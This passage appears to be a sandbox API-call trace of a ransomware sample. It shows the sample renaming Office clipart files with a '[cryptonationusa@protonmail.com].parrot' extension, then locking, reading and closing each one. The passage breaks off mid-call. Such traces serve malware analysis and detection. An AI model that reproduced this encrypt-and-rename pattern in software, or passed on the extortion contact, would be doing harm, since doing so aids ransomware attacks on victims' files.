MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.957] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc44, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.957] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.957] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.085] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb2c, lpOverlapped=0x0) returned 1 [0147.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.086] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.086] CloseHandle (hObject=0x288) returned 1 [0147.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.093] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.093] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.093] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.096] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe64, lpOverlapped=0x0) returned 1 [0147.096] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.096] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.096] CloseHandle (hObject=0x288) returned 1 [0147.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.102] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.102] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.104] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.104] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e98, lpOverlapped=0x0) returned 1 [0147.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.105] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.105] CloseHandle (hObject=0x288) returned 1 [0147.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.113] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.113] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.115] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd24, lpOverlapped=0x0) returned 1 [0147.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.116] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.116] CloseHandle (hObject=0x288) returned 1 [0147.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.120] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2238, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.120] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.123] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2120, lpOverlapped=0x0) returned 1 [0147.124] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.126] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2238, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.126] CloseHandle (hObject=0x288) returned 1 [0147.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.130] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5198, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.130] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.188] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5080, lpOverlapped=0x0) returned 1 [0147.282] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.282] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5198, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.282] CloseHandle (hObject=0x288) returned 1 [0147.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.287] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.287] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.289] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0147.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.290] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.290] CloseHandle (hObject=0x288) returned 1 [0147.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.295] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a04, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.295] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.307] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.308] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28ec, lpOverlapped=0x0) returned 1 [0147.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.309] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.309] CloseHandle (hObject=0x288) returned 1 [0147.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.314] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.314] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.316] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb24, lpOverlapped=0x0) returned 1 [0147.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.316] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.316] CloseHandle (hObject=0x288) returned 1 [0147.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.320] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.320] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.322] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2fb8, lpOverlapped=0x0) returned 1 [0147.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.324] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.324] CloseHandle (hObject=0x288) returned 1 [0147.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.328] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x654, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.328] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.354] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x53c, lpOverlapped=0x0) returned 1 [0147.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.354] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x654, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.354] CloseHandle (hObject=0x288) returned 1 [0147.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.359] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a60, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.359] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.386] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.386] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1948, lpOverlapped=0x0) returned 1 [0147.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.401] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.401] CloseHandle (hObject=0x288) returned 1 [0147.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.405] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d44, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.405] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.405] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.426] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.426] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c2c, lpOverlapped=0x0) returned 1 [0147.430] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.430] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.430] CloseHandle (hObject=0x288) returned 1 [0147.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.435] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1110, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.436] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.446] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xff8, lpOverlapped=0x0) returned 1 [0147.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.447] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1110, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.447] CloseHandle (hObject=0x288) returned 1 [0147.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.451] LockFile (hFile=0x288, dwFileOffsetLow=0x0, 